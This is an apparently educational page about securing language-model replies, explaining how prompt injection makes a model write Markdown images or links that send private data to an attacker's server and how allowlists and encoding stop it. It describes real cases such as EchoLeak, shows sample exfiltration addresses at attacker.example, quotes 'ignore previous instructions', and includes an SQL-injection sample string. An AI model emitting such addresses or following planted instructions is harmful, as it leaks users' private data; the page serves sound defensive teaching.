Check the Reply Before It Leaves

A language model's reply is shaped by everything the model read, including any text an attacker managed to put in front of it. When an application passes that reply on to a chat page, a database or a shell, the reply can do what its hidden author wanted: run as code, or carry a user's private data to someone else's server inside a web address. This page explains how that happens and how a check in code, run on every reply before it goes anywhere, stops it.

A reply is input from a stranger

A tool call that a model asks for is a request, and the code that receives it decides whether it runs. The same reasoning applies to the text the model writes. A model produces its reply from its whole context: the system prompt, the user's message, documents it was given and the results of its tool calls. If any of that text came from an attacker, the attacker has a hand in the reply. A reply is not trustworthy just because your own application produced it.

The OWASP Top 10 for LLM Applications names this risk Improper Output Handling: not validating, sanitizing and handling what a model generates before it is passed on to other components and systems. Its first advice is to treat the model like any other user, with zero trust, and to validate its output the way you would validate input from that user.

  • Attacker's text in a document
  • Context prompt, messages, results
  • Model
  • Reply
  • Check in code
  • Destination page, database, shell
  • Attacker's text to Context
  • Context to Model
  • Model to Reply
  • Reply to Check in code
  • Check in code to Destination: only what passes

What handling a reply safely means depends on where it goes next. The same characters that are harmless printed as text can run as a script in a web page, change data when they become part of a database query, or start a program when a shell reads them. So the useful question is never only "is this reply safe?" but "is it safe for the place it is about to go?"

True or false?

A reply from the application's own model can be trusted, as long as the system prompt forbids harmful output.

False. An injection in the context can shape the reply whatever the system prompt says, so the reply is handled like input from a stranger.

The same reply can be harmless in one destination and dangerous in another.

True. A web page, a database and a shell each interpret different characters, so safety depends on where the text goes.

How a reply carries data out

An assistant often has private data in its context: a user's orders, their documents, the earlier conversation. An attacker cannot read that context directly, but they can plant an instruction in content the assistant will read, such as a web page it is asked to summarise. The instruction tells the model to write a web address that points at the attacker's server and has the private data inside it, for example https://attacker.example/p.png?d=order-4471.

Chat pages usually render Markdown, the light formatting language models write in. In Markdown, [text](address) is a link and ![text](address) is an image. The two differ in one way that matters:

  • A link leaks the data when the user clicks it. That takes one action, and a link labelled "your receipt" invites it.
  • An image leaks the data with no action at all. To show an image, the browser fetches its address as soon as the page displays the reply.

Either way, a request arrives at the attacker's server, and the server records the full address it was asked for, data included. The user sees a reply, perhaps with a tiny or broken image, and never sees the instruction that produced it.

  • User
  • Chat page
  • Assistant
  • Attacker
  • User to Assistant: summarise this page
  • Assistant to Attacker: read the page
  • Attacker to Assistant: hidden instruction
  • Assistant to Chat page: reply with an image
  • Chat page to Attacker: GET /p.png?d=order-4471
  • Chat page to User: shows the reply

The data does not have to sit in the query string after the ?. It can be part of the path (/order-4471.png) or of the host name itself (order-4471.attacker.example), and it can be encoded, for example in base64, so it does not look like data at all. Any part of the address the attacker controls can carry it.

This is not a theoretical route. It was demonstrated against Bing Chat and ChatGPT in 2023, and in 2025 the EchoLeak attack (CVE-2025-32711) used it against Microsoft 365 Copilot. OpenAI also points out that a request can happen in the background, when a page previews a link or loads an embedded image, so a reply can leak data without ever saying anything sensitive in its text.

Try these techniques only on an application you own or run yourself. Testing someone else's system needs their permission.

True or false?

An image in a reply can send data to an attacker even if the user never clicks anything.

True. The browser fetches an image as soon as the page shows it, and that request carries the address with the data inside.

If the private data does not appear in the visible text of the reply, nothing has leaked.

False. The data travels inside the address of a link or an image, which the user may never see.

Checking the query string of every address is enough to catch the data.

False. The data can also sit in the path or in the host name, and it can be encoded so it looks like random letters.

The three conditions for data theft

The attack above needs three things at once. Simon Willison named the combination the lethal trifecta: an assistant that has access to private data, is exposed to untrusted content and has a way to send data out. Untrusted content is any text an attacker could have written that reaches the model: a web page, an email, a shared document, a tool result. A way out is anything that makes a request to the outside world, and that includes an image the page will load and a link the user may click, not only a tool that sends email or calls an API.

Each condition on its own is ordinary. Reading a user's orders is the assistant's job, reading a web page they asked about is its job, and a link in a reply is often helpful. Only together do they let an attacker's instruction pick up the data and send it away.

  • Private data
  • Untrusted content
  • A way out
  • no route out
  • nothing to steal
  • no attacker's text
  • data theft

Removing any one of the three is enough to stop this kind of theft. In practice the easiest one to remove is usually the way out: an assistant needs the user's data and needs to read documents to be useful, but it rarely needs to put arbitrary addresses in its replies. Removing it has to happen in code, because an instruction in the prompt asking the model not to write such addresses is exactly what an injection overrides. It also has to cover every route, since a forgotten one is still a way out.

The trifecta describes stealing data and nothing more. A fooled model that deletes a record or places an order does damage without sending any data out, and removing the way out does nothing against that.

True or false?

An assistant that reads private data and untrusted documents, but has no route at all to send anything out, cannot have that data stolen by an injection.

True. Without a way out the data has nowhere to go. The injection can still mislead the user, but it cannot deliver what it found.

Removing one leg of the trifecta makes an assistant safe from prompt injection.

False. It stops data theft only. An injection can still make a fooled model take a harmful action that sends nothing out.

A check a program can decide

To close the way out, code inspects every reply before the user sees it, finds every address in it and keeps only the ones that point where they are allowed to. The rule is an allowlist: a short, exact list of the hosts a reply may link to or load images from. Given an address, a program can decide this rule with a plain yes or no, the same way every time, whatever the model was tricked into writing. OWASP recommends exactly this: turn off automatic loading of images and link previews by default, and where they are needed, allow only an explicit list of origins.

The tempting alternative is to search the reply for suspicious words such as "exfiltrate", "ignore previous instructions" or known attacker domains. That is a guess, not a rule. The attacker rewords the instruction, encodes the data so it looks like noise, and registers a new domain tomorrow. EchoLeak got past the injection classifiers in front of Copilot because its text never mentioned AI or assistants at all.

Microsoft describes the difference as probabilistic defences, which lower the chance of an attack, and deterministic ones, which guarantee that a particular attack cannot succeed. A word filter that catches 95% of attacks sounds good, but as Willison puts it, in web application security 95% is a failing grade.

Remove every address that is not on the allowlist
import re
from urllib.parse import urlsplit

ALLOWED_HOSTS = {"help.example.com", "shop.example.com"}

# Anything shaped like an address: "scheme://...", "//..." or "www....".
# It stops at a backslash, which browsers read as a slash.
ADDRESS = re.compile(r"[a-zA-Z][a-zA-Z0-9+.-]*://[^\s<>\"'()\[\]\\]+|//[^\s<>\"'()\[\]\\]+|www\.[^\s<>\"'()\[\]\\]+")


def is_allowed(address: str) -> bool:
    parts = urlsplit(address)
    return parts.scheme == "https" and parts.hostname in ALLOWED_HOSTS


def check_reply(reply: str) -> str:
    def replace(match: re.Match) -> str:
        address = match.group(0)
        return address if is_allowed(address) else "[link removed]"

    return ADDRESS.sub(replace, reply)

Three choices in this check matter more than they look.

  • It finds addresses by their shape, not by Markdown syntax. Markdown has more than one way to write a link or an image: the inline form [text](address), a reference form where [text][1] points to a line [1]: address further down, and raw HTML such as <img src="...">. EchoLeak passed a filter that handled only the inline forms by using the reference forms. A check that looks for anything shaped like an address does not need to know every form.
  • It compares the parsed host name exactly. urlsplit() from Python's standard library splits an address into its parts, and hostname is the host in lower case. Checking whether the text merely starts with an allowed address fails: https://help.example.com@attacker.example/ starts with one, but everything before the @ is a user name, so the host is attacker.example. The Python documentation also warns that urlsplit() does not validate anything, so the code checks the scheme and the host itself.
  • It denies by default. An address it cannot approve is replaced, so the user still gets the answer and the data stays put.
What the check decides
AddressVerdictWhy
https://help.example.com/returnskepthttps and an allowed host
https://attacker.example/p.png?d=4471removedhost not on the list
https://help.example.com@attacker.example/removedthe host is attacker.example
https://help.example.com.attacker.example/removeda different host that starts the same
https://k9f2.attacker.example/removeddata hidden in the host name
http://help.example.com/returnsremovedscheme is not https
www.attacker.example/?d=4471removedno scheme, so no https and no host to approve

The allowlist is only as safe as its narrowest entry. Real attacks have slipped through lists that were too wide: in EchoLeak the list allowed every subdomain of teams.microsoft.com, and one of them hosted an open redirect, an address that forwards the browser to any other address it is given. Another product allowed images from docs.google.com, a large service shared by many people. Another had left an expired domain on its list, which anyone could register again. OpenAI notes for the same reason that an allowlist helps but is not a complete solution on its own. List exact hosts you control, and only those the replies really need.

The check runs on every reply, in the code path that delivers it, before anything renders it. If it runs only on some replies, or after the page has already shown them, the image has already been fetched.

True or false?

A filter that blocks replies containing words like 'exfiltrate' or 'ignore previous instructions' is a reliable output check.

False. An attacker can reword the text and encode the data. Only a rule that decides on the address itself gives the same verdict every time.

A check that finds every address by its shape also covers Markdown link forms the developer never thought about.

True. It does not depend on the syntax around the address, so reference links and raw HTML images are caught too.

The address https://help.example.com@attacker.example/x sends the request to help.example.com.

False. Everything before the @ is a user name. The host, and the server that gets the request, is attacker.example.

Encode the reply for where it goes

The allowlist controls where data can go. A second danger remains: the place that receives the reply may read some of its characters as instructions. A web page treats <script> as code, a database treats a quote as the end of a value, a shell treats ; as the start of a new command, and a terminal treats an escape character as a command to itself. Encoding, also called escaping, rewrites the text so that its destination reads it as plain data. Each destination has its own language, so each needs its own method, and using the wrong one leaves the hole open.

Handling model output by destination
DestinationWhat can go wrongWhat to do
Web pagemarkup or script runs in the browser (cross-site scripting)escape for HTML; a URL inside an attribute needs URL encoding, then attribute encoding
Database querythe text changes the query (SQL injection)pass the text as a parameter with a placeholder, never format it into the SQL
Shell commandthe text runs extra commandsavoid the shell: pass a list of arguments, and still validate them
Terminal or logcontrol characters rewrite the screen or set the clipboardremove escape and other control characters before printing
The same reply, handled for four destinations
import html
import re
import sqlite3
import subprocess

reply = "<b>Done</b>'; DROP TABLE notes; --"

# Web page: escape &, <, > and quotes before inserting the text
page_text = html.escape(reply)

# Database: bind the value with a placeholder
conn = sqlite3.connect("notes.db")
conn.execute("CREATE TABLE IF NOT EXISTS notes (body TEXT)")
conn.execute("INSERT INTO notes (body) VALUES (?)", (reply,))
conn.commit()

# Shell: no shell at all; the reply is one argument, after "--"
subprocess.run(["grep", "--", reply, "notes.txt"])

# Terminal: drop control characters, keeping newline and tab
CONTROL = re.compile(r"[\x00-\x08\x0b-\x1f\x7f-\x9f]")
print(CONTROL.sub("", reply))

Each line gives the reply to its destination in a form that destination cannot mistake for an instruction.

  • Web page. html.escape() turns <, >, & and, by default, both quote marks into HTML-safe sequences, so the browser shows them as characters instead of reading them as markup.
  • Database. The ? placeholder hands the reply to the database as a value, never as part of the query. That is why the SQL Injection Prevention Cheat Sheet prefers parameters and discourages escaping by hand.
  • Shell. subprocess.run() uses no shell unless told to, so no shell ever parses the reply. The program that receives an argument can still misread it, so the -- tells grep that what follows is not an option.
  • Terminal. Removing control characters before printing stops the escape sequences that move the cursor, clear the screen or, through one called OSC 52, write to the user's clipboard.

Encoding is not a cure-all. The OWASP cross-site scripting guidance says plainly that output encoding does not always prevent attacks, and that a Content Security Policy, the browser's own list of allowed sources, is a useful extra layer but should not be the main defence. A reply that matches the format you expected can still carry a harmful query or an address full of data. That is why the address check and the encoding both run in code, after the model has finished and before the reply reaches its destination.

True or false?

Escaping a reply with html.escape() also makes it safe to place inside an SQL query.

False. HTML escaping is for web pages. A database needs the reply bound as a parameter with a placeholder.

Passing arguments to subprocess.run() as a list, without a shell, stops a shell from interpreting characters in the reply.

True. No shell parses the arguments. The arguments still need checking, because the program itself may read one as an option.